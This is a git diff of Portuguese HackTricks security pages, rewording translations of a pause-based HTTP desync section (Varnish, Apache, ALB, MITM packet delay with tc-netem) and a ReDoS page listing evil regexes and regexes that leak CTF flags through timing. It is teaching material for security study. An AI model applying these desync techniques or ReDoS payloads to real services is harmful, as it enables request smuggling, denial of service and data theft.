* 5ms depois, enquanto renderiza /meeting\_testjs.cgi, a vítima tentará importar /appletRedirect.js e será redirecionada para x.psres.net, que serve JS malicioso.
|
* 5ms depois, enquanto renderiza /meeting\_testjs.cgi, a vítima tentará, com sorte, importar /appletRedirect.js e será redirecionada para x.psres.net, que fornece JS malicioso.
|
||||||
* Se não, tente novamente o ataque.
|
* Se não, tente o ataque novamente.
|
||||||
|
|
||||||
## Desincronização baseada em pausa <a href="#pause" id="pause"></a>
|
## Desync baseado em pausa <a href="#pause" id="pause"></a>
|
||||||
|
|
||||||
A pausa também pode criar novas vulnerabilidades de desincronização, **desencadeando implementações de tempo limite de solicitação equivocadas**.
|
Pausar também pode criar novas vulnerabilidades de desync ao **desencadear implementações equivocadas de timeout de solicitação**.
|
||||||
|
|
||||||
Assim, um atacante pode enviar uma solicitação com **cabeçalhos indicando que há um corpo**, e então **esperar** que o **front-end expire antes de enviar o corpo**. Se o front-end expirar, mas **deixar a conexão aberta**, o **corpo** dessa solicitação será **tratado como uma nova solicitação**.
|
Assim, um atacante pode enviar uma solicitação com **headers indicando que há um corpo**, e então **esperar** que o **front-end dê timeout antes de enviar o corpo**. Se o front-end der timeout mas **deixar a conexão aberta**, o **corpo** dessa solicitação será **tratado como uma nova solicitação**.
|
||||||
|
|
||||||
### Exemplo: **Varnish**
|
### Exemplo: **Varnish**
|
||||||
|
|
||||||
O cache do Varnish tem um recurso chamado `synth()`, que permite emitir uma **resposta sem encaminhar** a solicitação para o back-end. Aqui está um exemplo de regra sendo usada para bloquear o acesso a uma pasta:
|
O cache Varnish tem um recurso chamado `synth()`, que permite emitir uma **resposta sem encaminhar** a solicitação para o back-end. Aqui está um exemplo de regra sendo usada para bloquear o acesso a uma pasta:
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
if (req.url ~ "^/admin") {
|
if (req.url ~ "^/admin") {
|
||||||
return (synth(403, "Forbidden"));
|
return (synth(403, "Forbidden"));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
Ao processar uma **solicitação parcial** que corresponde a uma regra sintética, o Varnish irá **expirar** se não receber dados por **15 segundos**. Quando isso acontece, ele **deixa a conexão aberta** para reutilização, mesmo que tenha lido apenas metade da solicitação do socket. Isso significa que, se o **cliente continuar com a segunda metade** da solicitação HTTP, ela será interpretada como uma **nova solicitação**.
|
||||||
|
|
||||||
Quando processa uma **solicitação parcial** que corresponde a uma regra sintética, o Varnish **expira** se não receber dados por **15 segundos**. Quando isso acontece, ele **deixa a conexão aberta** para reutilização, mesmo que tenha lido apenas metade da solicitação do soquete. Isso significa que, se o **cliente seguir com a segunda metade** da solicitação HTTP, ela será interpretada como uma **nova solicitação**.
|
Para desencadear um desync baseado em pausa em um front-end vulnerável, comece enviando seus cabeçalhos, prometendo um corpo e depois apenas espere. Eventualmente, você receberá uma resposta e, quando finalmente enviar o corpo da sua solicitação, ele será interpretado como um novo pedido:
|
||||||
|
|
||||||
Para desencadear uma dessincronização baseada em pausa em um front-end vulnerável, comece enviando seus cabeçalhos, prometendo um corpo e, em seguida, apenas espere. Eventualmente, você receberá uma resposta e, quando finalmente enviar o corpo da solicitação, ele será interpretado como uma nova solicitação:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||||
|
|
||||||
|
@ -260,30 +248,29 @@ Aparentemente, isso foi corrigido em 25 de janeiro como [CVE-2022-23959](https:/
|
||||||
|
|
||||||
### Exemplo: **Apache**
|
### Exemplo: **Apache**
|
||||||
|
|
||||||
Assim como o Varnish, ele é vulnerável em **pontos finais onde o servidor gera a resposta por si só**, em vez de deixar a aplicação lidar com a solicitação. Uma maneira como isso acontece é com redirecionamentos em nível de servidor: `Redirect 301 / /en`
|
Assim como o Varnish, ele é vulnerável em **pontos finais onde o servidor gera a resposta por si mesmo** em vez de deixar o aplicativo lidar com a solicitação. Uma maneira de isso acontecer é com redirecionamentos no nível do servidor: `Redirect 301 / /en`
|
||||||
|
|
||||||
### Exploração do lado do servidor <a href="#server" id="server"></a>
|
### Exploração do Lado do Servidor <a href="#server" id="server"></a>
|
||||||
|
|
||||||
Se o servidor vulnerável (Apache ou Varnish, neste caso) estiver no back-end, é necessário um **front-end** que **transmita a solicitação para o servidor de back-end** (cabeçalhos HTTP, neste caso) **sem armazenar em buffer** todo o corpo da solicitação.
|
Se o servidor vulnerável (Apache ou Varnish neste caso) estiver no back-end, é necessário um **front-end** que **transmita a solicitação para o servidor back-end** (cabeçalhos http neste caso) **sem armazenar em buffer** o corpo inteiro da solicitação.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||||
|
|
||||||
Nesse caso, o atacante **não receberá o tempo limite de resposta até que tenha enviado o corpo**. Mas se ele conhece o tempo limite, isso não deve ser um problema.
|
Neste caso, o atacante **não receberá o tempo de resposta até que ele tenha enviado o corpo**. Mas se ele conhece o tempo de expiração, isso não deve ser um problema.
|
||||||
|
|
||||||
O Application Load Balancer (ALB) da Amazon irá **transmitir os dados da conexão conforme necessário**, mas se ele **receber** a **resposta** para a **metade da solicitação** (o tempo limite) **antes** de receber o **corpo**, ele **não enviará o corpo**, então uma **condição de corrida** deve ser explorada aqui:
|
O Application Load Balancer (ALB) da Amazon irá **transmitir os dados da conexão conforme necessário**, mas se ele **receber** a **resposta** para a solicitação pela metade (o tempo de expiração) **antes** de receber o **corpo**, ele **não enviará o corpo**, então uma **Condição de Corrida** deve ser explorada aqui:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Há uma complicação adicional quando se trata de **explorar o Apache atrás do ALB** - **ambos os servidores** têm um **tempo limite padrão de 60 segundos**. Isso deixa uma **janela de tempo extremamente pequena** para enviar a segunda parte da solicitação. O ataque RC foi bem-sucedido após 66 horas.
|
Há uma complicação adicional ao **explorar o Apache por trás do ALB** - **ambos os servidores** têm um tempo de expiração padrão de **60 segundos**. Isso deixa uma **janela de tempo extremamente pequena** para enviar a segunda parte da solicitação. O ataque RC foi finalmente bem-sucedido após 66 horas.
|
||||||
|
|
||||||
### Exploração MITM
|
### Exploração MITM
|
||||||
|
|
||||||
Aparentemente, **não é possível interromper uma solicitação do navegador** para explorar uma vulnerabilidade de pausa-desincronização. No entanto, você sempre pode **realizar um ataque MITM para pausar uma solicitação** enviada pelo navegador. Observe que este ataque **não depende de descriptografar** nenhum tráfego.
|
Aparentemente, **não é possível interromper uma solicitação do navegador** para explorar uma vulnerabilidade de desync baseada em pausa. No entanto, você sempre pode **realizar um ataque MITM para pausar uma solicitação** enviada pelo navegador. Observe que este ataque **não depende de descriptografar** nenhum tráfego.
|
||||||
|
|
||||||
O fluxo do ataque é muito **semelhante a um ataque de dessincronização regular do lado do cliente**. O usuário visita uma página controlada pelo atacante, que emite uma série de **solicitações entre domínios** para a aplicação de destino. A **primeira solicitação HTTP** é intencionalmente preenchida para ser tão **grande** que o sistema operacional **a divide em vários pacotes TCP**, permitindo que um MITM ativo **atrase o pacote final**, desencadeando uma dessincronização baseada em pausa. Devido ao preenchimento, o **atacante** pode **identificar** qual **pacote pausar** simplesmente com base no **tamanho**.
|
O fluxo do ataque é muito **semelhante a um ataque de desync do lado do cliente regular**. O usuário visita uma página controlada pelo atacante, que emite uma série de **solicitações entre domínios** para o aplicativo alvo. A **primeira solicitação HTTP** é deliberadamente aumentada para ser tão **grande** que o sistema operacional **a divida em vários pacotes TCP**, permitindo que um **MITM ativo retarde o pacote final**, desencadeando um desync baseado em pausa. Devido ao preenchimento, o **atacante** pode **identificar** qual **pacote pausar** simplesmente com base no **tamanho**.
|
||||||
|
|
||||||
Do lado do cliente, parece um dessincronização regular do lado do cliente usando o gadget HEAD, além do preenchimento da solicitação:
|
|
||||||
|
|
||||||
|
Do lado do cliente, parece um desync do lado do cliente regular usando o gadget HEAD, exceto pelo preenchimento da solicitação:
|
||||||
```javascript
|
```javascript
|
||||||
let form = document.createElement('form')
|
let form = document.createElement('form')
|
||||||
form.method = 'POST'
|
form.method = 'POST'
|
||||||
|
@ -296,9 +283,7 @@ form.append(input)
|
||||||
document.body.appendChild(form)
|
document.body.appendChild(form)
|
||||||
form.submit()
|
form.submit()
|
||||||
```
|
```
|
||||||
|
|
||||||
No sistema do atacante realizando o MITM cego, o atraso foi implementado usando tc-NetEm:
|
No sistema do atacante realizando o MITM cego, o atraso foi implementado usando tc-NetEm:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Setup
|
# Setup
|
||||||
tc qdisc add dev eth0 root handle 1: prio priomap
|
tc qdisc add dev eth0 root handle 1: prio priomap
|
||||||
|
@ -313,19 +298,20 @@ flowid 1:3
|
||||||
# Delay flagged packets by 61 seconds
|
# Delay flagged packets by 61 seconds
|
||||||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||||
```
|
```
|
||||||
|
|
||||||
## **Referências**
|
## **Referências**
|
||||||
|
|
||||||
* Todas as informações deste post foram retiradas de [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
* Todas as informações deste post foram retiradas de [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,94 +1,72 @@
|
||||||
# Regular expression Denial of Service - ReDoS
|
# Negação de Serviço por Expressão Regular - ReDoS
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Introdução
|
# Negação de Serviço por Expressão Regular (ReDoS)
|
||||||
|
|
||||||
**Copiado de** [**https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS**](https://owasp.org/www-community/attacks/Regular\_expression\_Denial\_of\_Service\_-\_ReDoS)
|
A Negação de Serviço por Expressão Regular (ReDoS) é um tipo de ataque de Negação de Serviço que **se aproveita das ineficiências nas implementações de expressões regulares**. A maioria dos motores de expressão regular pode encontrar situações extremas onde eles **desempenham muito lentamente, frequentemente de forma exponencialmente relacionada ao tamanho da entrada**. Explorando isso, um atacante pode fazer com que um programa que usa expressões regulares fique inoperante por um período prolongado de tempo.
|
||||||
|
|
||||||
O **Regular expression Denial of Service (ReDoS)** é um ataque de [Negação de Serviço](https://owasp.org/www-community/attacks/Denial\_of\_Service), que explora o fato de que a maioria das implementações de Expressão Regular podem chegar a situações extremas que as fazem trabalhar muito lentamente (exponencialmente relacionado ao tamanho da entrada). Um atacante pode então fazer com que um programa que usa uma Expressão Regular entre nessas situações extremas e fique pendurado por um longo período de tempo.
|
## O Problema do Algoritmo Ingênuo de Regex
|
||||||
|
|
||||||
### Descrição
|
**Confira os detalhes em [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
||||||
|
|
||||||
#### O algoritmo ingênuo de Regex problemático <a href="#the-problematic-regex-naive-algorithm" id="the-problematic-regex-naive-algorithm"></a>
|
|
||||||
|
|
||||||
O algoritmo ingênuo de Expressão Regular constrói um [Autômato Finito Não-Determinístico (AFND)](https://en.wikipedia.org/wiki/Nondeterministic\_finite\_state\_machine), que é uma máquina de estados finitos onde para cada par de estado e símbolo de entrada pode haver vários possíveis estados seguintes. Em seguida, o mecanismo começa a fazer transições até o final da entrada. Como pode haver vários possíveis estados seguintes, um algoritmo determinístico é usado. Este algoritmo tenta um por um todos os caminhos possíveis (se necessário) até que uma correspondência seja encontrada (ou todos os caminhos sejam tentados e falhem).
|
## Regexes Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
|
||||||
|
|
||||||
Por exemplo, a Expressão Regular `^(a+)+$` é representada pelo seguinte AFND:
|
Um padrão de expressão regular malicioso refere-se a um que pode **ficar preso em entradas manipuladas**. Padrões de regex maliciosos tipicamente contêm agrupamento com repetição e repetição ou alternância com sobreposição dentro do grupo repetido. Alguns exemplos de padrões maliciosos incluem:
|
||||||
|
|
||||||
![Autômato Finito Não-Determinístico](https://owasp.org/www-community/assets/images/attacks/NFA.png)
|
* (a+)+
|
||||||
|
* ([a-zA-Z]+)*
|
||||||
Para a entrada `aaaaX`, existem 16 caminhos possíveis no gráfico acima. Mas para `aaaaaaaaaaaaaaaaX` existem 65536 caminhos possíveis, e o número dobra para cada `a` adicional. Este é um caso extremo em que o algoritmo ingênuo é problemático, porque ele deve passar por muitos caminhos e, em seguida, falhar.
|
* (a|aa)+
|
||||||
|
* (a|a?)+
|
||||||
Observe que nem todos os algoritmos são ingênuos, e na verdade os algoritmos de Regex podem ser escritos de maneira eficiente. Infelizmente, a maioria dos motores de Regex hoje tentam resolver não apenas Regexes "puros", mas também Regexes "expandidos" com "adições especiais", como referências inversas que nem sempre podem ser resolvidas de maneira eficiente (veja **Padrões para linguagens não regulares** em [Wiki-Regex](https://en.wikipedia.org/wiki/Regular\_expression) para mais detalhes). Então, mesmo que a Regex não seja "expandida", um algoritmo ingênuo é usado.
|
* (.*a){x} para x > 10
|
||||||
|
|
||||||
#### Regexes maliciosos <a href="#evil-regexes" id="evil-regexes"></a>
|
|
||||||
|
|
||||||
Uma Regex é chamada de "maliciosa" se ela puder ficar presa em uma entrada criada.
|
|
||||||
|
|
||||||
**O padrão de Regex malicioso contém**:
|
|
||||||
|
|
||||||
* Agrupamento com repetição
|
|
||||||
* Dentro do grupo repetido:
|
|
||||||
* Repetição
|
|
||||||
* Alternância com sobreposição
|
|
||||||
|
|
||||||
**Exemplos de Padrões Maliciosos**:
|
|
||||||
|
|
||||||
* `(a+)+`
|
|
||||||
* `([a-zA-Z]+)*`
|
|
||||||
* `(a|aa)+`
|
|
||||||
* `(a|a?)+`
|
|
||||||
* `(.*a){x} para x \> 10`
|
|
||||||
|
|
||||||
Todos os acima são suscetíveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (O comprimento mínimo da entrada pode mudar ligeiramente, ao usar máquinas mais rápidas ou mais lentas).
|
Todos os acima são suscetíveis à entrada `aaaaaaaaaaaaaaaaaaaaaaaa!` (O comprimento mínimo da entrada pode mudar ligeiramente, ao usar máquinas mais rápidas ou mais lentas).
|
||||||
|
|
||||||
## Cargas úteis ReDoS
|
## Cargas Úteis de ReDoS
|
||||||
|
|
||||||
### Exfiltração de string via ReDoS
|
### Exfiltração de String via ReDoS
|
||||||
|
|
||||||
Em um CTF (ou recompensa por bugs), talvez você **controle a Regex com a qual uma informação sensível (a flag) é correspondida**. Então, se for útil fazer com que a **página congele (tempo limite ou tempo de processamento mais longo)** se uma **Regex corresponder** e **não se corresponder**. Dessa forma, você poderá **exfiltrar** a string **caractere por caractere**:
|
Em um CTF (ou bug bounty) talvez você **controle o Regex com o qual uma informação sensível (a flag) é comparada**. Então, pode ser útil fazer a **página congelar (timeout ou tempo de processamento mais longo)** se o **Regex corresponder** e **não se não corresponder**. Desta forma, você será capaz de **exfiltrar** a string **caractere por caractere**:
|
||||||
|
|
||||||
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
* Neste [**post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) você pode encontrar esta regra de ReDoS: `^(?=<flag>)((.*)*)*salt$`
|
||||||
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
* Exemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
||||||
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
* Neste [**writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) você pode encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
|
||||||
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
* Neste [**writeup**](https://ctftime.org/writeup/25869) ele usou: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
||||||
|
|
||||||
### ReDoS controlando entrada e Regex
|
### ReDoS Controlando Entrada e Regex
|
||||||
|
|
||||||
Os seguintes são exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto a **Regex**:
|
A seguir estão exemplos de **ReDoS** onde você **controla** tanto a **entrada** quanto o **regex**:
|
||||||
```javascript
|
```javascript
|
||||||
function check_time_regexp(regexp, text){
|
function check_time_regexp(regexp, text){
|
||||||
var t0 = new Date().getTime();;
|
var t0 = new Date().getTime();;
|
||||||
new RegExp(regexp).test(text);
|
new RegExp(regexp).test(text);
|
||||||
var t1 = new Date().getTime();;
|
var t1 = new Date().getTime();;
|
||||||
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
||||||
}
|
}
|
||||||
|
|
||||||
// This payloads work because the input has several "a"s
|
// This payloads work because the input has several "a"s
|
||||||
[
|
[
|
||||||
// "((a+)+)+$", //Eternal,
|
// "((a+)+)+$", //Eternal,
|
||||||
// "(a?){100}$", //Eternal
|
// "(a?){100}$", //Eternal
|
||||||
"(a|a?)+$",
|
"(a|a?)+$",
|
||||||
"(\\w*)+$", //Generic
|
"(\\w*)+$", //Generic
|
||||||
"(a*)+$",
|
"(a*)+$",
|
||||||
"(.*a){100}$",
|
"(.*a){100}$",
|
||||||
"([a-zA-Z]+)*$", //Generic
|
"([a-zA-Z]+)*$", //Generic
|
||||||
"(a+)*$",
|
"(a+)*$",
|
||||||
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
||||||
|
|
||||||
/*
|
/*
|
||||||
|
@ -105,18 +83,19 @@ Regexp (a+)*$ took 723 milliseconds.
|
||||||
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
||||||
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
||||||
|
|
||||||
|
# Referências
|
||||||
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,586 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
